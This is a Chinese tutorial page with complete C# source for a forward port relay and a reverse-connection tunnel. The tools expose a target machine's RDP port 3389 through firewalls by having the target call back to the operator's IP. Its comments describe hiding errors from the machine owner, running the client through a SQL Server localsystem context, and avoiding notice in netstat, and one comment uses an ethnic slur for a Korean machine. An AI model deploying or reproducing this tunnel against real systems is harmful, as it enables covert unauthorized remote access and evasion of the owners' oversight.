c#做端口转发程序支持正向连接和反向链接
当前位置:点晴教程→知识管理交流
→『 技术文档交流 』
3389的时候 例子1:连接a机器的3389端口连不上,因为对方防火墙或者网关做了限制,只能访问a机器的个别端口比如80。 例子2:连接a机器的几乎所有端口都连不上(对方乃内网或者防火墙网关做了限制),只能1433上去,但是对方可以连接你的某些端口。
解决 第一种较简单,只需要程序在对方开80,你连接他80,程序收到数据后,发送到他本机的3389,同时从他3389收到数据后返回到你。程序就是一个中转站。
using System; using System.Net.Sockets; using System.Threading; namespace PortTransponder { class Program { static void Main(string[] args) { TcpListener tl = new TcpListener(80);//这里开对方可以被你连接并且未被占用的端口 tl.Start(); while (true)//这里必须用循环,可以接收不止一个客户,因为我发现终端服务有时一个端口不行就换一个端口重连 { //下面的意思就是一旦程序收到你发送的数据包后立刻开2个线程做中转 try { TcpClient tc1 = tl.AcceptTcpClient();//这里是等待数据再执行下边,不会100%占用cpu TcpClient tc2 = new TcpClient("localhost", 3389); tc1.SendTimeout = 300000;//设定超时,否则端口将一直被占用,即使失去连接 tc1.ReceiveTimeout = 300000; tc2.SendTimeout = 300000; tc2.ReceiveTimeout = 300000; object obj1 = (object)(new TcpClient[] { tc1, tc2 }); object obj2 = (object)(new TcpClient[] { tc2, tc1 }); ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1); ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2); } catch { } } } public static void transfer(object obj) { TcpClient tc1 = ((TcpClient[])obj)[0]; TcpClient tc2 = ((TcpClient[])obj)[1]; NetworkStream ns1 = tc1.GetStream(); NetworkStream ns2 = tc2.GetStream(); while (true) { try { //这里必须try catch,否则连接一旦中断程序就崩溃了,要是弹出错误提示让机主看见那就囧了 byte[] bt = new byte[10240]; int count = ns1.Read(bt, 0, bt.Length); ns2.Write(bt, 0, count); } catch { ns1.Dispose(); ns2.Dispose(); tc1.Close(); tc2.Close(); break; } } } } }
这样在对方机器执行和,直接mstsc /v:对方ip:80就能终端上去了
第二种稍微复杂一点,需要客户机和服务器2个程序,你在自己机器上开服务器端,在对方机器上执行客户端连接你的服务器端,一旦连接上你的服务器端再开个端口让终端程序连接,对方机器上客户端再开个端口连接他自己的3389,做2次中转就可以终端上去了。 具体流程 本机ip开8080端口 对方机器连接你的8080端口,比如端口是49908 连接成功后 你的机器再开一个比如9833端口 对方机器再开一个连接连接他自己的3389,比如端口是49909吧 好这时你用你的mstsc连接自己的 localhost:9833,数据包就从本机9833-本机8080-对方49908-对方49909-对方3389,对方3389的数据反着回来就行了。 //服务器端 using System; using System.Collections.Generic; using System.Net.Sockets; using System.Threading; namespace fanxiangserver { class Program { public static Dictionary<int, TcpClient> dic = new Dictionary<int, TcpClient>(); public static NetworkStream kongzhins = null; static void Main(string[] args) { ThreadPool.QueueUserWorkItem(new WaitCallback(start1)); ThreadPool.QueueUserWorkItem(new WaitCallback(start2)); WaitHandle.WaitAll(new ManualResetEvent[] { new ManualResetEvent(false) }); } public static void start1(object obj) { TcpListener tl = new TcpListener(8080);//开一个对方可以连接的端口,今天这棒子机器连他只能1433,其他连不上,他连别人只能80 8080 21 tl.Start(); while (true) { TcpClient tc = tl.AcceptTcpClient(); jieshou(tc); } } public static void start2(object obj) { TcpListener tl = new TcpListener(9833); //开一个随意端口让自己的mstsc连。 tl.Start(); while (true) { TcpClient tc = tl.AcceptTcpClient(); Random rnd = new Random(); int biaoji = rnd.Next(1000000000, 2000000000); dic.Add(biaoji, tc); byte[] bt = BitConverter.GetBytes(biaoji); kongzhins.Write(bt, 0, bt.Length); } } public static void jieshou(TcpClient tc) { //这里体现的是一个配对的问题,自己体会一下吧 NetworkStream ns = tc.GetStream(); byte[] bt = new byte[4]; int count = ns.Read(bt, 0, bt.Length); if (count == 2 && bt[0] == 0x6f && bt[1] == 0x6b) { kongzhins = ns; } else { int biaoji = BitConverter.ToInt32(bt, 0); lianjie(biaoji, tc); } } public static void lianjie(int biaoji, TcpClient tc1) { TcpClient tc2 = null; if (dic.ContainsKey(biaoji)) { dic.TryGetValue(biaoji, out tc2); dic.Remove(biaoji); tc1.SendTimeout = 300000; tc1.ReceiveTimeout = 300000; tc2.SendTimeout = 300000; tc2.ReceiveTimeout = 300000; object obj1 = (object)(new TcpClient[] { tc1, tc2 }); object obj2 = (object)(new TcpClient[] { tc2, tc1 }); ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1); ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2); } } public static void transfer(object obj) { TcpClient tc1 = ((TcpClient[])obj)[0]; TcpClient tc2 = ((TcpClient[])obj)[1]; NetworkStream ns1 = tc1.GetStream(); NetworkStream ns2 = tc2.GetStream(); while (true) { try { //这里必须try catch,否则连接一旦中断程序就崩溃了,要是弹出错误提示让机主看见那就囧了 byte[] bt = new byte[10240]; int count = ns1.Read(bt, 0, bt.Length); ns2.Write(bt, 0, count); } catch { ns1.Dispose(); ns2.Dispose(); tc1.Close(); tc2.Close(); break; } } } } }
; //客户端 using System; using System.Text; using System.Net.Sockets; using System.Threading; namespace fanxiangclient { class Program { public static NetworkStream kongzhins = null; static void Main(string[] args) { try { TcpClient tc = new TcpClient("你的IP", 8080); kongzhins = tc.GetStream(); byte[] bt = Encoding.Default.GetBytes("ok");//这里发送一个连接提示 kongzhins.Write(bt, 0, bt.Length); jieshou(); WaitHandle.WaitAll(new ManualResetEvent[] { new ManualResetEvent(false) });//这里为什么要这样呢?我发现sqlserver执行是localsystem账号如果console.read()程序马上退出 } catch { } } public static void jieshou() { while (true) { byte[] bt = new byte[4]; kongzhins.Read(bt, 0, bt.Length); TcpClient tc1 = new TcpClient("你的IP", 8080); TcpClient tc2 = new TcpClient("localhost", 3389); tc1.SendTimeout = 300000; tc1.ReceiveTimeout = 300000; tc2.SendTimeout = 300000; tc2.ReceiveTimeout = 300000; tc1.GetStream().Write(bt, 0, bt.Length); object obj1 = (object)(new TcpClient[] { tc1, tc2 }); object obj2 = (object)(new TcpClient[] { tc2, tc1 }); ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1); ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2); } } public static void transfer(object obj) { TcpClient tc1 = ((TcpClient[])obj)[0]; TcpClient tc2 = ((TcpClient[])obj)[1]; NetworkStream ns1 = tc1.GetStream(); NetworkStream ns2 = tc2.GetStream(); while (true) { try { byte[] bt = new byte[10240]; int count = ns1.Read(bt, 0, bt.Length); ns2.Write(bt, 0, count); } catch { ns1.Dispose(); ns2.Dispose(); tc1.Close(); tc2.Close(); break; } } } } }
好,这样你连接mstsc /v:localhost:9833,后数据就经过了好几转转到了对方的3389上。这样即使对方是内网也可以被终端了,而且好处是对方查看netstat -an看到的是这种东西 该文章在 2017/5/30 11:55:33 编辑过 |
关键字查询
相关文章
正在查询... |